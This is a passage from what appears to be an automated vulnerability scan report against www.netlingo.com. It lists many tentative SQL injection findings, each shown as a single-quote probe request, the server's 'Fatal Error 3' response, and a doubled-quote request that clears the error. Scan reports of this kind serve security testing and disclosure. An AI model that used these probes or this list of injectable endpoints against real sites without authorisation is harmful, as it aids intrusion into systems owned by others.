HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 00:05:33 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Content-Length: 19 Connection: close Content-Type: text/html
Oops, Fatal Error 3
Request 2
GET /searchaction.cfm?1''=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 2 (redirected)
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 00:05:33 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Connection: close Content-Type: text/html Content-Length: 32104
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <ti ...[SNIP]...
The wordsearch parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the wordsearch parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
Request 1
GET /searchaction.cfm?wordsearch=' HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 1 (redirected)
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 00:05:35 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Content-Length: 19 Connection: close Content-Type: text/html
Oops, Fatal Error 3
Request 2
GET /searchaction.cfm?wordsearch='' HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 2 (redirected)
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 00:05:35 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Connection: close Content-Type: text/html Content-Length: 32104
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <ti ...[SNIP]...
1.99. http://www.netlingo.com/shop/index.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Tentative
Host:
http://www.netlingo.com
Path:
/shop/index.php
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the name of an arbitrarily supplied request parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
Request 1
GET /shop/index.php?1'=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 1
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:47:15 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Set-Cookie: PHPSESSID=cvdec0h51t0k7o22knmh2jtes1; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Content-Length: 19 Connection: close Content-Type: text/html
Oops, Fatal Error 3
Request 2
GET /shop/index.php?1''=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 2
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:47:17 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Set-Cookie: PHPSESSID=hd00odods0lc2mcdij9pevq4p1; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html Content-Length: 45160
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <ti ...[SNIP]...
1.100. http://www.netlingo.com/shop/netlingo-the-dictionary.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Tentative
Host:
http://www.netlingo.com
Path:
/shop/netlingo-the-dictionary.php
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the name of an arbitrarily supplied request parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
Request 1
GET /shop/netlingo-the-dictionary.php?1'=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 1
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:46:58 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Content-Length: 19 Connection: close Content-Type: text/html
Oops, Fatal Error 3
Request 2
GET /shop/netlingo-the-dictionary.php?1''=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 2
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:47:02 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Connection: close Content-Type: text/html Content-Length: 36548
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <ti ...[SNIP]...
1.101. http://www.netlingo.com/shop/netlingo-the-list.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Tentative
Host:
http://www.netlingo.com
Path:
/shop/netlingo-the-list.php
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the name of an arbitrarily supplied request parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
Request 1
GET /shop/netlingo-the-list.php?1'=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 1
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:46:47 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Content-Length: 19 Connection: close Content-Type: text/html
Oops, Fatal Error 3
Request 2
GET /shop/netlingo-the-list.php?1''=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 2
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:46:49 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Connection: close Content-Type: text/html Content-Length: 35864
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <ti ...[SNIP]...
1.102. http://www.netlingo.com/shop/online-store.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Tentative
Host:
http://www.netlingo.com
Path:
/shop/online-store.php
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the name of an arbitrarily supplied request parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
Request 1
GET /shop/online-store.php?1'=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 1
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:46:52 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Content-Length: 19 Connection: close Content-Type: text/html
Oops, Fatal Error 3
Request 2
GET /shop/online-store.php?1''=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 2
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:46:54 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Connection: close Content-Type: text/html Content-Length: 43513
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <ti ...[SNIP]...
1.103. http://www.netlingo.com/shop/shopping-cart.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Tentative
Host:
http://www.netlingo.com
Path:
/shop/shopping-cart.php
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the name of an arbitrarily supplied request parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
Request 1
GET /shop/shopping-cart.php?1'=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 1
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:46:33 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Set-Cookie: PHPSESSID=p9c9ct3je5ii9vad32m3c8gn86; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Content-Length: 19 Connection: close Content-Type: text/html
Oops, Fatal Error 3
Request 2
GET /shop/shopping-cart.php?1''=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 2
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:46:34 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Set-Cookie: PHPSESSID=2g4a2u0pigp54vsur83c882sd2; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html Content-Length: 32824
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <ti ...[SNIP]...
1.104. http://www.netlingo.com/smileys.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Tentative
Host:
http://www.netlingo.com
Path:
/smileys.php
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the name of an arbitrarily supplied request parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
Request 1
GET /smileys.php?1'=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 1
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:45:12 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Content-Length: 19 Connection: close Content-Type: text/html
Oops, Fatal Error 3
Request 2
GET /smileys.php?1''=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 2
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:45:15 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Connection: close Content-Type: text/html Content-Length: 43271
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <ti ...[SNIP]...
1.105. http://www.netlingo.com/subscribe.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Tentative
Host:
http://www.netlingo.com
Path:
/subscribe.php
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the name of an arbitrarily supplied request parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
Request 1
GET /subscribe.php?1'=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 1
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:46:58 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Content-Length: 19 Connection: close Content-Type: text/html
Oops, Fatal Error 3
Request 2
GET /subscribe.php?1''=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 2
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:47:03 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Connection: close Content-Type: text/html Content-Length: 33520
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <ti ...[SNIP]...
1.106. http://www.netlingo.com/tips/color-guide.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Tentative
Host:
http://www.netlingo.com
Path:
/tips/color-guide.php
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the name of an arbitrarily supplied request parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
Request 1
GET /tips/color-guide.php?1'=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 1
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:53:28 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Content-Length: 19 Connection: close Content-Type: text/html
Oops, Fatal Error 3
Request 2
GET /tips/color-guide.php?1''=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 2
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:53:29 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Connection: close Content-Type: text/html Content-Length: 51436
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <ti ...[SNIP]...
1.107. http://www.netlingo.com/tips/cyber-safety-statistics.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Tentative
Host:
http://www.netlingo.com
Path:
/tips/cyber-safety-statistics.php
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the name of an arbitrarily supplied request parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
Request 1
GET /tips/cyber-safety-statistics.php?1'=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 1
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:53:32 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Content-Length: 19 Connection: close Content-Type: text/html
Oops, Fatal Error 3
Request 2
GET /tips/cyber-safety-statistics.php?1''=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 2
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:53:33 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Connection: close Content-Type: text/html Content-Length: 38312
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <ti ...[SNIP]...
1.108. http://www.netlingo.com/tips/file-extensions.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Tentative
Host:
http://www.netlingo.com
Path:
/tips/file-extensions.php
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the name of an arbitrarily supplied request parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
Request 1
GET /tips/file-extensions.php?1'=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 1
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:53:26 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Content-Length: 19 Connection: close Content-Type: text/html
Oops, Fatal Error 3
Request 2
GET /tips/file-extensions.php?1''=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 2
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:53:27 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Connection: close Content-Type: text/html Content-Length: 49178
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <ti ...[SNIP]...
1.109. http://www.netlingo.com/tips/index.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Tentative
Host:
http://www.netlingo.com
Path:
/tips/index.php
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the name of an arbitrarily supplied request parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
Request 1
GET /tips/index.php?1'=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 1
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:53:22 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Content-Length: 19 Connection: close Content-Type: text/html
Oops, Fatal Error 3
Request 2
GET /tips/index.php?1''=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 2
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:53:23 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Connection: close Content-Type: text/html Content-Length: 34443
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <ti ...[SNIP]...
1.110. http://www.netlingo.com/tips/resources.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Tentative
Host:
http://www.netlingo.com
Path:
/tips/resources.php
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the name of an arbitrarily supplied request parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
Request 1
GET /tips/resources.php?1'=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 1
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:53:38 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Content-Length: 19 Connection: close Content-Type: text/html
Oops, Fatal Error 3
Request 2
GET /tips/resources.php?1''=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 2
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:53:44 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Connection: close Content-Type: text/html Content-Length: 73588
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <ti ...[SNIP]...
1.111. http://www.netlingo.com/tips/webcasts.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Tentative
Host:
http://www.netlingo.com
Path:
/tips/webcasts.php
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the name of an arbitrarily supplied request parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
Request 1
GET /tips/webcasts.php?1'=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 1
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:53:43 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Content-Length: 19 Connection: close Content-Type: text/html
Oops, Fatal Error 3
Request 2
GET /tips/webcasts.php?1''=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 2
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:53:43 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Connection: close Content-Type: text/html Content-Length: 37197
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <ti ...[SNIP]...
1.112. http://www.netlingo.com/tools/index.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Tentative
Host:
http://www.netlingo.com
Path:
/tools/index.php
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the name of an arbitrarily supplied request parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
Request 1
GET /tools/index.php?1'=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 1
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:51:41 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Content-Length: 19 Connection: close Content-Type: text/html
Oops, Fatal Error 3
Request 2
GET /tools/index.php?1''=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 2
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:51:42 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Connection: close Content-Type: text/html Content-Length: 35140
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <ti ...[SNIP]...
1.113. http://www.netlingo.com/tools/online-store.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Tentative
Host:
http://www.netlingo.com
Path:
/tools/online-store.php
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the name of an arbitrarily supplied request parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
Request 1
GET /tools/online-store.php?1'=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 1
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:52:03 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Content-Length: 19 Connection: close Content-Type: text/html
Oops, Fatal Error 3
Request 2
GET /tools/online-store.php?1''=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 2
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:52:04 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Connection: close Content-Type: text/html Content-Length: 31808
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <ti ...[SNIP]...
1.114. http://www.netlingo.com/tools/pocket-dictionary.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Tentative
Host:
http://www.netlingo.com
Path:
/tools/pocket-dictionary.php
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the name of an arbitrarily supplied request parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
Request 1
GET /tools/pocket-dictionary.php?1'=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 1
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:51:43 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Content-Length: 19 Connection: close Content-Type: text/html
Oops, Fatal Error 3
Request 2
GET /tools/pocket-dictionary.php?1''=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 2
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:51:44 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Connection: close Content-Type: text/html Content-Length: 34957
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <ti ...[SNIP]...
1.115. http://www.netlingo.com/tools/search-browse-box.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Tentative
Host:
http://www.netlingo.com
Path:
/tools/search-browse-box.php
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the name of an arbitrarily supplied request parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
Request 1
GET /tools/search-browse-box.php?1'=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 1
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:51:54 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Content-Length: 19 Connection: close Content-Type: text/html
Oops, Fatal Error 3
Request 2
GET /tools/search-browse-box.php?1''=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 2
